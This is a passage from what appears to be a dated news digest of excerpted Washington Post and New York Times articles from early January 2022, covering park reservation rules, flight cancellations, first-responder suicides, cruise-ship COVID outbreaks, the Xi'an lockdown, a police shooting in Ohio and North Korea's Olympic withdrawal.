parks could also revive their measures, depending on the crush of crowds or the virus's trajectory.</p> <p>For the most part, the rules apply to visitors who arrive by car and plan to exit before closing time. Vacationers who enter by bicycle, foot or public transportation, or who booked an overnight stay at an on-site lodge or campground, are exempt. The permit is typically per vehicle, not per passenger. Many of the reservations are free or cost a few dollars, plus a nominal service fee by <a href="#">recreation.gov</a>. Guests must pay the park entrance fee on top of any secondary charges.</p>



Roulett said that, depending on the park or activity, visitors should start planning months to weeks in advance, especially if their trip falls during peak season. She recommends the National Park Service's [Trip Planning Guide](#), [Find a Park](#) resource and its new [NPS app](#), which consolidates all 423 park units in one mobile tool. For national forests and other public attractions, Rodney Foushee, a communications officer with the U.S. Forest Service, suggests searching under "Tickets & Tours" or "Permits" on [recreation.gov](#), the official booking site for a dozen federal agencies.

A few general tips: Some parks ask visitors to display the parking permit on their windshield, so it's a good idea to print out your confirmation in advance. Cellphone service can also be spotty or nonexistent in a park, so download the receipt on your phone before setting out for the day. For timed-entry tickets, be punctual, because you don't want to miss your window. And don't forget your mask: Many federal sites require face coverings for indoor venues and enclosed public transportation and mandate or recommend them for crowded outdoor areas.

Here is a sampling of parks and their reservation requirements for the new year.

- [Acadia National Park](#), Maine: Between mid-May and October, the park will require timed-entry reservations for visitors who wish to drive Cadillac Summit Road, the three-mile scenic route to the top of the park's highest peak. Thirty percent of the reservations will become available 90 days ahead of the arrival date, and the remainder will be released two days in advance. The fee is \$6 per vehicle.
- [Glacier National Park](#), Montana: From May 27 through Sept. 11, day-use visitors will need a \$2 per-vehicle ticket to access Going-to-the-Sun Road at the West Entrance, the new Camas Entrance and the St. Mary Entrance. (St. Mary opens closer to late June.) A separate pass is required to explore the North Fork area via the Polebridge Ranger Station. Tickets could become available as soon as March.
- [Muir Woods National Monument](#), California: The year-round [reservation system](#) for cars and shuttle bus passengers was established in 2018 to reduce traffic and noise in the old growth redwood grove. The parking pass starts at \$9 for a vehicle up to 17 feet long. The shuttle, which runs weekends and holidays, costs \$3.50 per person age 16 and older; all visitors must reserve a seat on the bus, which boards in nearby Mill Valley. Booking is available 90 days out, with a few spaces reserved for three days in advance.
- [Rocky Mountain National Park](#), Colorado: Last year, parkgoers needed a \$2 timed-entry permit per vehicle for select times between May 28 and Oct. 11. Two types of reservations were available. One permit covered the Bear Lake Road Corridor, which included the entire corridor plus access to the rest of the park, and was valid from 5 a.m. to 6 p.m. The second permit was for the rest of park, excluding the corridor but including Trail Ridge Road, and applied to visits from 9 a.m. to 3 p.m. Officials have proposed a similar system for May 27 through Oct. 10, with bookings opening on May 2. More details to come early this year.
- [Arches National Park](#), Utah: The park unveiled a pilot timed-entry system for visits from 6 a.m. to 5 p.m., April 3 through Oct. 3. The \$2 per-vehicle tickets will become available on the first day of the month for visits three months ahead. For example, tickets for April entries went on sale shortly after the New Year's holiday; the next date is Feb. 1 for May reservations. The last round will take place on July 1, for three days in October. The park will also release a handful of tickets the day before.
- [Shenandoah National Park](#), Virginia: To relieve congestion on trails to Old Rag Mountain, the park will test day-hike ticketing. Officials are hammering out the details, but the new system could go into effect in March and cap the number at 800 daily visitors.
- [Haleakala National Park](#), Hawaii: To greet the sunrise on Maui's highest peak, visitors arriving by car will need a reservation between 3 a.m. and 7 a.m. The Haleakala National Park Summit Sunrise reservation, which was introduced in 2017, is available up to 60 days in advance and is valid only for the booked day. The \$1 per-car permit also allows guests to park in the four sky-high lots — Summit, Haleakala Visitor Center, Kalahaku and Leleiwi — during the predawn hours. In the winter, the sun starts its ascent a few minutes shy of 7 a.m.
- [Zion National Park](#), Utah: Hikers headed to Angels Landing, the dramatic 1,488-foot-tall rock formation, will need a permit starting April 1. The park will distribute permits through seasonal and day-before online lotteries. The first seasonal lottery kicked off on Jan. 3 and will close on

	<p>Jan. 20; the permit applies to hikes from April 1 to May 31. Lotteries for other periods are scheduled to open on April 1, July 1 and Oct. 1. The last-minute lottery runs from 12:01 a.m. to 3 p.m. Mountain time. Visitors pay \$6 per application (includes up to six people) to enter either lottery, plus \$3 per person if they nab a permit. The program is scheduled to run through at least February 2023. Visitors do not need a reservation to enter the park.</p> <ul style="list-style-type: none"> <li>• <a href="#">El Yunque National Forest</a>, Puerto Rico: On Dec. 20, the tropical rainforest reinstated its \$2 per-vehicle ticketing system for La Mina Recreational Area, along Route 191. Visitors can choose morning (8 to 11 a.m.) or afternoon (11 a.m. to 2 p.m.) entry. Tickets are available 30 days in advance, in addition to a handful of passes released 24 hours beforehand.</li> <li>• <a href="#">Arapaho and Roosevelt National Forests</a>, Colorado: The Mount Evans Recreation Area, which includes Mount Evans, a member of the 14ers club (peaks that are at least 14,000 feet tall), is closed for the season. When it reopens at the end of May or early June, visitors will need timed-entry reservations to access the highest paved road in North America. Last year, the fee was \$10 per car, plus a \$2 reservation fee; the pass was valid for three days.</li> <li>• <a href="#">Red Rock Canyon National Conservation Area</a>, Nevada: Through May 31, the Bureau of Land Management park about 17 miles west of the Las Vegas Strip will require timed-entry permits for the Red Rock Canyon Scenic Drive between 8 a.m. and 5 p.m. Book up to a month in advance or two days in advance. The day pass for the 13-mile drive costs \$15 per vehicle, plus a \$2 processing fee.</li> <li>• <a href="#">Gifford Pinchot National Forest</a>, Washington state: After closing for more than a year because of the pandemic and a renovation project, the Ape Cave Interpretive Site reopened last May with a new feature: a timed-entry requirement. The \$2 per-car reservation covered visits from 9 a.m. to 5 p.m. during the attraction's tourist season, May 18 to Oct. 31. The booking was good for a two-hour adventure in the Lower or Upper Cave of the third-longest lava tube in North America. Officials are finalizing dates and details for this year.</li> <li>• <a href="#">Columbia River Gorge National Scenic Area</a>, Oregon: The Multnomah Falls area, which includes the 1925 Multnomah Falls Lodge, hiking trails and the spring-fed water cascade, requires timed-entry tickets from late May through mid-September. The per-person pass costs \$1. Last season, tickets were released two weeks before and two days ahead of the arrival date.</li> </ul>
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HEADLINE	<b>01/06 Omicron, weather flight cancelations persist</b>
SOURCE	<a href="https://www.washingtonpost.com/transportation/2022/01/06/omicron-weather-flight-cancellations/">https://www.washingtonpost.com/transportation/2022/01/06/omicron-weather-flight-cancellations/</a>
GIST	<p>Thursday brought more frustrating news for airlines and their customers with more than 2,100 U.S. flight cancellations as carriers continued efforts to restore flight networks hobbled by bad weather and staffing shortages brought on by <a href="#">coronavirus</a> infections.</p> <p>Southwest Airlines, United Airlines and regional carrier SkyWest Airlines continued to be among the hardest-hit, according to data provided by <a href="#">FlightAware</a>, a website focused on aviation data. The elevated number of cancellations showed no signs of easing two weeks after emerging on Christmas Eve.</p> <p>Southwest had canceled 646 flights, about 21 percent of scheduled departures. United, which had shown improvement in recent days, canceled 236 flights, about 11 percent of the carrier's scheduled departures. SkyWest canceled 264 flights, about 11 percent of flights scheduled for the day. The Utah-based carrier, which partners with United, Delta Air Lines and American Airlines to carry passengers on smaller routes, has struggled for days.</p> <p>Friday already is shaping up to be another difficult day. By early evening Thursday, airlines already had canceled more than 1,600 U.S. flights.</p> <p>After nearly two years of pandemic-related turmoil, airlines were hoping for a strong finish to 2021. After forgoing holiday celebrations in 2020, Americans were eager to reunite with loved ones. With travel volumes expected to reach near pre-pandemic levels, airlines scrambled to hire workers, offering bonus pay to ensure adequate staffing levels. The surge of the omicron variant around Thanksgiving upended those plans.</p>

The first signs of trouble emerged Dec. 24, when airlines cited a rising numbers of coronavirus infections among employees in canceling more than 600 flights. Then, unexpectedly heavy snow in Seattle the day after Christmas snarled operations for some carriers, including Alaska Airlines.

That was followed by more storms in the Midwest and then, this week, heavy snow in the Washington region forced cancellations of more than 85 percent of scheduled departures at Reagan National Airport.

Weather is often an issue for airlines during the Christmas holidays, and airlines have years of experience planning for such events, but many entered this holiday season with fewer employees than in past years because [tens of thousands of workers](#) left the industry during the pandemic. That made it more difficult for carriers to cover for employee absences when the number of infections began to spike.

Allison Ausband, executive vice president and chief customer experience officer at Delta, sent a letter this week to customers apologizing for the disruptions, which she attributed to winter weather systems and the omicron variant. She said in the past few weeks, the carrier has dealt with, “one of the most difficult operational environments [it has] ever faced.”

“We know you expect the best from Delta — and you should, and I want to apologize to everyone whose travel plans have been impacted,” Ausband wrote. “Canceling a flight is always Delta’s last resort. It’s not only difficult on you, but it’s also hard on our people, who truly want nothing more than to take care of you — especially over the holidays.”

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HEADLINE	<b>01/06 Two Florida deputies die by suicide</b>
SOURCE	<a href="https://www.washingtonpost.com/nation/2022/01/06/florida-deputies-died-by-suicide/">https://www.washingtonpost.com/nation/2022/01/06/florida-deputies-died-by-suicide/</a>
GIST	<p>Two Florida deputies died by suicide within days of each other, leaving a newborn baby behind, in a case that has shaken the law enforcement agency and shed light on the mental health issues that police officers and other first responders often struggle with.</p> <p>On New Year’s Eve, deputies in St. Lucie County, located along the state’s Atlantic coast north of Palm Beach, responded to a call reporting an attempted suicide. When they arrived they learned it involved one of their own.</p> <p>Deputy Clayton Osteen was hospitalized and taken off life support on Jan. 2, St. Lucie County Sheriff Ken J. Mascara said in a <a href="#">statement</a>.</p> <p>But the devastating news did not end there. On Tuesday, Mascara said Deputy Victoria Pacheco, who shared a 1-month-old son with Osteen, had died by suicide.</p> <p>The deaths of the deputies, who Mascara described as “young, ambitious,” sent shock waves through the law enforcement agency.</p> <p>“Words cannot express the tremendous loss we all feel,” he said.</p> <p>The St. Lucie County Sheriff’s Office did not respond to a request for more details Thursday, but Mascara said earlier this week he hoped the deaths bring attention to the many challenges officers face while on duty.</p> <p>“Law enforcement deal with not only the day-to-day stress we all face, but also the stress of those whom they serve in our community, which can sometimes be very challenging,” he said. “We pray that this tragedy becomes a catalyst for change, a catalyst to help ease the stigma surrounding mental well-being and normalize the conversation about the challenges so many of us face on a regular basis.”</p>

A 2020 Congressional Research Service [report](#) found that first responders experience several barriers to access mental health treatment, such as stigma, a culture of not seeking help and a general lack of knowledge about mental health and treatment.

The report pointed to one study that found that, on average, 1 in 3 first responders experiences stigma in relation to mental health. In another study, first responders described not feeling like they can “show weakness” and have fears of being perceived that they are not “up to the job” if they pursue counseling, the study found.

The same research suggested first responders, including police officers, firefighters, EMTs and paramedics, are at an elevated risk of suicide, stating that the stressful work conditions first responders often experience “can contribute to the development of new mental health conditions or exacerbate preexisting mental health conditions.”

The report also noted a lack of comprehensive national data on first responder mental health.

Although the circumstances of the Florida deputy deaths remain unknown, the events have prompted broader discussions among current and former police officers about the impact the hardships of the job have on mental health.

“People don’t understand what we take home with us,” retired police officer Dana Bennett told WPTV, a local TV station. “When one of us hurts, we all hurt.”

Last week, a [Hillsborough County](#) deputy who had been with the agency for over two decades, also died by suicide, the sheriff of the Tampa-area county announced.

In 2020, the federal government passed the Law Enforcement Suicide Data Collection Act in hopes of a better understanding and prevention of suicides among current and past law enforcement officers of federal, state and local agencies.

Blue H.E.L.P., an organization that works to bring awareness to suicide and mental health issues in law enforcement, recorded 969 suicides of police and corrections officers since 2017.

A lifelong resident of Fort Pierce, Fla., Osteen joined the force in 2019 and was named deputy of the year in 2020, according to an [obituary](#) posted by the family on the website of Haisley Funeral Home.

Previously, he served in the Marine Corps. He died at the age of 24.

“He absolutely adored his significant other and mother of his child. But of all his accomplishments, he was most proud of being a dad,” said the obituary who described him as “one hell of a funny guy.”

On [Facebook](#), friend Ray Tourville lamented Osteen’s death.

“A true brother lost his internal battle. I struggle with finding the words to write that even remotely does him justice. I’m incredibly sorry that you felt this was your only option,” he wrote in a post where he shared several photos of Osteen dressed in military uniform.

According to WPTV, Pacheco, 23, joined the sheriff’s office in 2020 and received an award last year for her efforts in saving someone who overdosed on drugs.

The office of Florida Gov. Ron DeSantis (R) did not respond to a request for comment Thursday, but spokeswoman Christina Pushaw told the local TV station that first responders are “repeatedly exposed to stressful and potentially traumatizing scenes and events,” and highlighted the need for resources and mental health support and services tailored to individual experiences.

	<p>Pushaw also pointed to data that shows 30 percent of first responders are affected by conditions like depression and post-traumatic stress disorder.</p> <p>In a statement posted on a <a href="#">GoFundMe</a> page set up to support Osteen and Pacheco's baby, the victims were described as "joy-filled, first-time parents excited about their growing family."</p>
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HEADLINE	<b>01/06 Cases rise, criticism mounts, ships cruise</b>
SOURCE	<a href="https://www.nytimes.com/2022/01/06/travel/coronavirus-cruise-ships-omicron.html">https://www.nytimes.com/2022/01/06/travel/coronavirus-cruise-ships-omicron.html</a>
GIST	<p>On the fourth day of a seven-day Mexican Riviera cruise, Jesse Suphan and other passengers onboard the Carnival Cruise Line's Panorama were denied entry at the port of Puerto Vallarta, because of the number of onboard coronavirus cases. That was the first Mr. Suphan heard about the virus spreading on the ship.</p> <p>"The captain announced that five people had tested positive for Covid and were quarantining," Mr. Suphan, a 39-year-old revenue cycle manager, recalled in a telephone interview. "But, then, talking to the crew, they told me there were between 100 and 150 crew members who also tested positive, but the captain didn't mention that."</p> <p>Two days later, the Centers for Disease Control and Prevention told Americans to avoid travel on cruise ships, regardless of their vaccination status. The advisory, <a href="#">the agency's highest coronavirus warning</a>, came in response to a surge in cases in recent weeks, caused by the spread of the contagious Omicron variant.</p> <p>But even as case numbers rise, and criticism mounts about the safety of cruising and over cruise line protocols in reporting cases to passengers, ships keep sailing and guests keep embarking, adamant that the onboard environment is safe because of stringent health and safety requirements, including pre-departure testing and vaccine mandates.</p> <p>Consider the New Year's Eve festivities held on ships around the world. One day after the C.D.C. announcement, as dozens of crew members and other passengers were confined to small cabins, infected and quarantined, thousands of revelers packed into ship bars, casinos and deck venues, partying like it was 2019.</p> <p>Harvey Freid, 56, recently returned from a 17-day sailing to Antarctica, during which one positive case was reported. But Mr. Freid, an avid cruiser, is undeterred and is scheduled to go on a Caribbean cruise in late January.</p> <p>"The cruise ships do a very good job of handling Covid, and I think it's safer than my building in Miami and most places that I go on land, because people are vaccinated and cases are quickly identified and isolated," he said.</p> <p>On Wednesday, Royal Caribbean and Norwegian Cruise Line canceled several voyages in response to the growing number of coronavirus cases onboard some of their ships.</p> <p>The cruise industry's trade group, Cruise Lines International Association, called the C.D.C.'s warning "perplexing," and said that cases identified on ships "consistently make up a slim minority of the total population on board — far fewer than on land."</p> <p>"No setting can be immune from this virus — however, it is also the case that cruises provide one of the highest levels of demonstrated mitigation against the virus," the group said in a statement.</p> <p>But some passengers are starting to question the effectiveness of health and safety protocols, and say they aren't being informed of the full extent of coronavirus cases on board. They say they learn of the positive cases only after returning home and would have been able to make more informed decisions about their behavior and participation in activities, if they had been made more aware.</p>



When Mr. Suphan booked his vacation, he felt confident that Carnival had good protocols in place, which included pre-departure testing and requiring vaccines for all crew and most passengers. But as the ship sailed, Mr. Suphan was surprised by the number of people he met who said they had been exempted from the vaccine mandate. He said there were not enough crew members to enforce indoor mask rules for more than 3,000 passengers on board.

Carnival said only a small number of passengers had been exempted from the vaccination requirement, but did not specify how many.

Mr. Suphan was also struck, he said, when a crew member told him that several infected crew were isolating on board when the ship departed from Long Beach.

“The fact that they had infected staff on board when the cruise left Long Beach means that they knew there was the possibility of more cases coming up after we left,” Mr. Suphan said. “But they still continued with the cruise so they could take everyone’s money. It feels like a cash grab to maintain payments.”

Carnival said four asymptomatic crew members were in quarantine when the cruise departed, while others had been taken off the ship.

### **Reporting positive cases**

Most major cruise lines do not publicly announce the number of coronavirus cases on board their ships, but they are required to submit daily figures to the C.D.C. Currently, the agency is monitoring more than 90 cruise ships, because of [reported cases that have reached the agency’s threshold for an investigation](#). (An investigation is undertaken when a certain number of cases is reported among a percentage of passengers.)

Carnival has denied that the number of infected crew was as high as 100 on Mr. Suphan’s sailing, but has not disclosed the total number of people who tested positive. On Dec. 28, when the cruise was denied entry to port, the Jalisco state health ministry said 69 cases had been detected among the ship’s 1,450 crew members. That day, Christine Duffy, the Carnival president, called into the ship and briefed guests on the situation. Passengers said she did not give updated figures for positive cases, which many found concerning.

Chris Chiames, chief communication officer for Carnival, said the company takes its responsibility for public health “very seriously” and has implemented protocols that exceed C.D.C. guidance since restarting operations in the United States in June.

“The extreme majority of the crew who test positive are asymptomatic and detected through the random testing protocol, and they and their close contacts are put into isolation or quarantine,” Mr. Chiames said. “None have required escalated medical attention or hospitalization, and we have also moved most crew off the ship to complete their isolation or quarantine.”

Carnival declined to comment on its policies for reporting daily cases to passengers onboard its ships, but Mr. Chiames said, “the additional complications caused by the fast-spreading Omicron variant will require us to evaluate how to communicate moving forward.”

### **Testing positive**

For many, the idea of testing positive for the coronavirus on a cruise ship conjures up the horrors of the major outbreaks in the early stages of the pandemic, when thousands of people were confined to their rooms for endless days while the pandemic raged through the ships.

The health and safety protocols that allowed U.S. cruise ships to restart operations in June have helped cruise lines contain the virus and avoid large outbreaks, and until now, many of the small percentage of guests who tested positive during sailings have been satisfied with the handling of their cases. Some even received complimentary food and champagne to their rooms and were flown home by charter plane.

But since more contagious variants like Delta and Omicron have emerged, causing cases to increase among passengers and crew, guests have started to complain about quarantine conditions.

Richard Lewis, the chairman and chief executive of Savile Row Travel group, recently caught the coronavirus during two back-to-back Caribbean cruises with his family on board Celebrity Apex. It was his first cruise during the pandemic and initially, the protocols met his expectations and the experience felt relatively normal.

On day two of the cruise, the captain announced that there were two coronavirus cases on board the ship, which Mr. Lewis appreciated for keeping him informed. But there were no further announcements for the remainder of the week. That is when both he and his family started noticing changes.

“The staff were masking up a heck of a lot more, social distancing was being enforced between passengers and things did not seem right,” he said. “As we moved into the second week, some of the staff we became friends with disappeared and we found out they had gone into isolation. Then I started developing symptoms and tested positive and that’s when it became a nightmare.”

Mr. Lewis was moved from his “concierge class infinite veranda cabin” room to a standard cabin allotted for quarantines, which he said had a slightly oversized porthole and no fresh air. He had been under the impression that he could quarantine in his own room, saying the cruise line encourages people to book bigger rooms in the event that they will have to isolate.

Celebrity Cruises said its policy from day one was to move coronavirus-positive guests to a quarantine zone. Those identified as close contacts are permitted to isolate in their state rooms for 24 hours while they are tested and await results.

“Even the food was hideous,” Mr. Lewis said, sharing a picture of fried eggs, hash browns and bacon strips in a takeout container. “The first two meals were cold and appeared to have come from the crew canteen. It was only after I kicked up a fuss that I was allowed to order from the regular room service menu.”

That day, the captain announced that there were five coronavirus cases on board, but when Mr. Lewis pressed the doctor who visited him, he says he was told there were 16 cases.

“I know the cruise industry has suffered and I’m so supportive of getting travel back to normality, but there’s a serious lack of transparency and covering things up, and hiding them away is not going to help people make informed decisions,” Mr. Lewis said. Royal Caribbean Group, which owns Celebrity Cruises, said that passenger and crew members are informed when a threshold of virus cases has been met or exceeded.

“Publishing a dashboard of daily cases to all persons onboard is a less meaningful public-health mitigation measure than reinforcing continuous adherence to our industry-leading health and safety protocols, which has resulted in lower prevalence rates onboard than those found shoreside,” the company said in a statement.

Milly Parkinson, 28, developed coronavirus symptoms one day after returning from an eight-night Caribbean cruise with friends on board Royal Caribbean’s Odyssey of the Seas. While more than 50 people tested positive for the virus on board the ship, Royal Caribbean, like most cruise companies, does not require passengers to test before disembarking at their final destination.

“I took a test because I had symptoms, but think of all the people who were asymptomatic who just walked off the ship straight into the grocery store, a restaurant or a nightclub,” Ms. Parkinson said.

“We booked the cruise because we were convinced it would be a fun, safe bubble of vaccinated people,” she said. “But who were we kidding? There’s no place to escape Omicron.”



HEADLINE	01/06 China's stubborn resolve on zero-Covid
SOURCE	<a href="https://www.nytimes.com/2022/01/06/world/asia/china-xian-lockdown-covid.html?action=click&amp;module=Well&amp;pgtype=Homepage&amp;section=World%20News">https://www.nytimes.com/2022/01/06/world/asia/china-xian-lockdown-covid.html?action=click&amp;module=Well&amp;pgtype=Homepage&amp;section=World%20News</a>
GIST	<p>Every two days at the University of Xi'an in China, cleaners dressed in white hazmat suits taped tight to their bodies disinfect the dormitory hallways. Zhang Shengzi, a 24-year-old student, said the smell is so pungent she has to wait some time after they've gone before she will open her door again.</p> <p>She can barely leave her room, let alone campus, and all her classes are online.</p> <p>Ms. Zhang's university, like the rest of Xi'an, has been under a citywide lockdown since Dec. 22. It is the longest lockdown in China since the <a href="#">first one in Wuhan</a>, where the coronavirus outbreak began almost two years ago.</p> <p>In scenes recalling the early days of the pandemic, hungry residents have traded coffee for eggs and cigarettes for instant noodles. A pregnant woman and an 8-year-old boy suffering from leukemia are among those who have been denied medical care. People in need of lifesaving medications have struggled to obtain them.</p> <p>China's ability to control the virus has come a long way since the pandemic started: It has inoculated nearly 1.2 billion people and set up a nationwide electronic health database for contact tracing.</p> <p>Yet it has continued to rely on the same authoritarian virus-fighting methods from early 2020, including <a href="#">strict quarantines, border closings and lockdowns</a>. These have led to food and medical shortages and growing questions about how much longer its zero-Covid strategy, <a href="#">the last in the world</a>, can continue.</p> <p>Despite the frustration, the authorities in Xi'an on Wednesday declared the city's battle with the virus a victory. Fourteen days into the lockdown, city officials said that Xi'an had achieved "zero Covid on a societal level," though its 13 million residents remained unable to leave home.</p> <p>"The district security guards are like prison guards and we are like prisoners," said Tom Zhao, a Xi'an resident. Mr. Zhao, 38, said he had joined dozens of chat groups last week searching for anyone who could help him find medicine for his mother, who has early-stage diabetes.</p> <p>Even big multinational companies in the city have been affected. Two of the world's largest memory chip makers, Samsung and Micron, said they have had to adjust operations at their manufacturing bases in Xi'an because of the restrictions, potentially roiling the already fragile global supply chain.</p> <p>Xi'an has <a href="#">reported</a> 1,800 cases in its latest outbreak, stunningly low compared with the <a href="#">daily case count</a> in the United States. And as the world struggles to contain the spread of Omicron, in China officials have reported only a few local cases of the variant, and none in Xi'an.</p> <p>The authorities are nevertheless worried, in a country that has stridently stuck by its zero-Covid policy — and held up its success fighting the virus as proof that its authoritarian style of leadership saves lives.</p> <p>The Beijing Winter Olympics and the Lunar New Year holiday are a few weeks away, and China's vaccines appear to be less effective than their Western competitors, particularly against <a href="#">variants</a>. The country has yet to approve mRNA technology for its vaccines, and while booster shots are now widely available, their takeup in the country has been slower than the initial jabs.</p> <p>"The Xi'an epidemic is the most serious after Wuhan was shut down," said Zeng Guang, a Chinese epidemiologist who visited Wuhan in the early days of the pandemic and was quoted in state media on Wednesday. "People across the country should give Xi'an a lot of support, hoping that Xi'an will accumulate new experience in epidemic prevention."</p>

So far, the experiences have been grim. Tens of thousands of people have been relocated to centralized quarantine facilities to stop the spread. Several top city officials have been [fired](#), and the head of Xian's big data bureau was suspended.

On Tuesday, the vast health code system used to track people and enforce quarantines and lockdowns crashed because it couldn't handle the traffic, making it hard for residents to access public hospitals or complete daily routines like regular Covid testing.

Many were incensed when a woman in the city, eight months pregnant, lost her baby after she was made to wait for hours at a hospital because she was unable to prove she did not have Covid-19. (The authorities responded by firing officials and requesting an apology from the hospital.)

Days into the lockdown, residents began to post on social media about how hard it was to get groceries or order food. After being reassured by officials that it was unnecessary to stock up, residents across the city were caught off guard when an initial policy allowing one member of each household to leave every two days was eliminated.

Officials later acknowledged the mistake and quickly posted images of volunteers delivering groceries. But by then, residents were already complaining online that officials had put the pursuit of eliminating the outbreak above the well-being of citizens.

Mr. Zhao, who moved in with his parents ahead of the lockdown to help take care of them, watched as their neighbors bartered for food. Several days ago, officials came in trucks to deliver vegetables, announcing their arrival on loudspeaker. Mr. Zhao and his parents received two plastic bags: a white radish, a head of cabbage, three potatoes, a carrot and two zucchinis.

They fared much better than others.

Mr. Zhao said a friend who lived in a different district didn't get any food, and that another told him that her building elevator was turned off except for one hour a day when residents were allowed to do compulsory testing and walk their pets.

As the situation worsened across the city, people posted videos and heartfelt appeals for help. "SOS," wrote one resident whose father could not get medical care when he suffered a heart attack. He later died, according to a post from his daughter, who shared the story on Weibo, a major social media platform in China.

Zhao Zheng, the father of an 8-year-old boy with acute lymphoblastic leukemia, found himself battling with staff at several hospitals in Xi'an after his son's Dec. 28 appointment was canceled. Each hospital asked for proof that he was no longer in quarantine and documentation that Mr. Zhao and his family had not recently been exposed to the virus.

"Nobody could issue this document for us at all," said Mr. Zhao, 43, who until recently had owned a small construction company. Eventually, with the help of local reporters, Mr. Zhao and his wife were able to find a hospital on Jan. 2; their son is now undergoing weekly treatment.

Amid the outcry, the government this week [created](#) special "green channels" for pregnant women and patients with "acute and critical illnesses" to get medical care more easily.

By Thursday, top officials moved further to try to douse public anger. Liu Shunzhi, the head of the city's health commission, apologized for the stillbirth and for wider problems during the lockdown. Sun Chunlan, a vice premier overseeing the central government's efforts to contain Covid, ordered local health authorities to ensure there was no repeat of deadly delays in hospital treatment.

	<p>“It’s extremely painful that problems like this have occurred and we feel deep remorse,” said Ms. Sun, <a href="#">according to Chinese state media</a>. “This has revealed sloppiness in prevention and control efforts, and the lessons are profound.”</p> <p>To critics, the pain, suffering and confusion caused by the lockdown has made Beijing’s virus strategy appear increasingly unsustainable. “In this world, nobody is an island,” wrote Zhang Wenmin, a former investigative journalist who lives in Xi’an. Ms. Zhang, better known by her pen name Jiang Xue, published an account of her first 10 days in lockdown on social media.</p> <p>“The death of any individual is a death of all,” she wrote.</p>
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HEADLINE	<b>01/06 Cop shoots thru fence killing man firing gun</b>
SOURCE	<a href="https://www.nytimes.com/2022/01/06/us/canton-police-nye-shooting.html">https://www.nytimes.com/2022/01/06/us/canton-police-nye-shooting.html</a>
GIST	<p>A police officer in northeast Ohio fired through a wooden fence, killing a man who had been firing a gun in his yard just minutes after the start of the New Year, body-camera footage released this week shows.</p> <p>The footage shows an officer firing through the fence at about 12:07 a.m. on Jan. 1, killing the man, later identified as James R. Williams, 46, of Canton, Ohio, a city of about 70,000 residents, about 60 miles south of Cleveland.</p> <p>On the video, Mr. Williams appears to be obscured by the fence, which separates him from the officer. The sound of Mr. Williams firing repeated gunshots can be heard, and smoke can be seen rising into the air behind the fence as the officer approaches it with his gun drawn.</p> <p>The officer fires repeatedly into the fence without saying anything. After he finishes shooting, he says, “Shots fired, shots fired,” and yells: “Police! Get down now! Police! Get down now!”</p> <p>Mr. Williams’s widow, Marquette Williams, told <a href="#">The Canton Repository</a> that her husband had been firing her AR-15 rifle into the air to celebrate the New Year when the officer fatally shot him through the family’s six-foot wooden security fence. She said that other people in the neighborhood had also been firing into the air to celebrate the New Year.</p> <p>Ms. Williams said she had been standing a foot or two from her husband inside the back door of their home when he was shot.</p> <p>“Out of the blue, he said he got shot, he got hit,” Ms. Williams told The Repository. “I don’t know where it came from. Nobody said anything. They didn’t say, ‘Police.’ They didn’t say, ‘Freeze.’ They didn’t say, ‘Drop your weapon.’ They just shot him.”</p> <p>She said Mr. Williams had four daughters, ranging in age from 9 to 15, and two stepdaughters.</p> <p>“He’s going to be dearly missed,” she told the paper. “He shouldn’t have died the way that he did. I just want justice for him.”</p> <p>The Ohio Bureau of Criminal Investigation confirmed that it was investigating the shooting by the officer, whose name has not been released. The officer has been placed on leave, and evidence, including the body-camera footage and guns, has been turned over to the bureau, the Canton police said.</p> <p>In a statement about the shooting on Jan. 1, the Canton police said that they had been investigating a “shots-fired incident” when an officer who was outside his vehicle “confronted a subject that began shooting a firearm.”</p>

	<p>“The officer, in fear for his safety, fired his duty weapon at the subject and struck him,” the statement said. First aid was given, and the man was taken to a hospital, according to the statement, which offered no further details.</p> <p>Just before the officer opens fire, the video records him saying that he saw a man’s head through the fence and heard shots. The officer says he then got out of his cruiser, went up to the porch and saw the man put a rifle away. Second later, repeated gunshots can be heard. The officer then draws his gun, approaches the fence and fires.</p> <p>At a vigil outside the house on Wednesday evening, Sierra Mason, a community activist, accused the officer of “senselessly shooting” into the fence without knowing who was behind it.</p> <p>“We should still be celebrating 2022,” Ms. Mason said. “But instead, we are mourning another Black man for doing the same thing white folks were doing. It makes me sick.”</p>
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HEADLINE	<b>01/06 NKorea will not participate Beijing Olympics</b>
SOURCE	<a href="https://www.nytimes.com/2022/01/06/world/asia/north-korea-beijing-olympics.html">https://www.nytimes.com/2022/01/06/world/asia/north-korea-beijing-olympics.html</a>
GIST	<p>SEOUL — North Korea said on Friday that it would not participate in the Beijing Winter Olympics because of the coronavirus pandemic and moves by “hostile forces.”</p> <p>Its no-show at the Beijing Games would deprive South Korea of a rare opportunity to establish official contact with the North. Officials from the South had hoped that the Olympics would provide a venue for official delegates from both Koreas to meet to discuss issues beyond sports.</p> <p>In a letter hand-delivered on Wednesday to China by the North’s ambassador, the country’s Olympic Committee and its ministry of sports wished Beijing a successful Games even though “the U.S. and its vassal forces are getting evermore undisguised in their moves against China aimed at preventing the successful opening of the Olympics,” according to the North’s official Korean Central News Agency on Friday.</p> <p>The letter added that although North Korea “could not take part in the Olympics due to the hostile forces’ moves and the worldwide pandemic,” it “would fully support the Chinese comrades in all their work to hold a splendid and wonderful Olympic festival.”</p> <p>The 2022 Winter Olympics has been hit by a series of <a href="#">diplomatic boycotts</a> from Australia, Britain, the United States and other countries as human rights groups and Western governments have accused China of atrocities in its Xinjiang region.</p> <p>North Korea called the boycotts “an insult to the spirit of the international Olympic Charter and as a base act of attempting to disgrace the international image of China.”</p> <p>The North is one of China’s closest allies. It depends on China for most of its external trade while struggling under heavy sanctions imposed by the United Nations for its nuclear weapons development. But its chances of joining next month’s Olympics in Beijing have been cast into doubt in recent months.</p> <p>In September, the International Olympic Committee <a href="#">suspended</a> North Korea’s national Olympic committee until the end of 2022 for skipping the Tokyo Olympiad last year, also because of fears of the coronavirus. But the committee had left the door open for individual North Korean athletes to participate.</p> <p>North Korea has maintained some of the world’s toughest restrictions to guard against the spread of the virus. It has <a href="#">rejected outside aid</a> and shut its borders, reportedly placing its guards there <a href="#">under “shoot to kill” orders</a>. The country has claimed <a href="#">no Covid-19 cases</a>, and it has <a href="#">rejected</a> offers of millions of vaccine doses, leaving its population vulnerable to explosive outbreaks should its borders reopen.</p>

Officials in South Korea had hoped the Beijing Olympics could provide a venue where officials from the United States, China and the two Koreas could meet. In one of his last diplomatic initiatives before leaving office, set for May, President Moon Jae-in of South Korea has been urging those countries to join his government in declaring an end to the Korean War as an incentive for the North to denuclearize.

But that dream has suffered setbacks as top American officials have shunned the Games and North Korea has called the South's proposal premature.

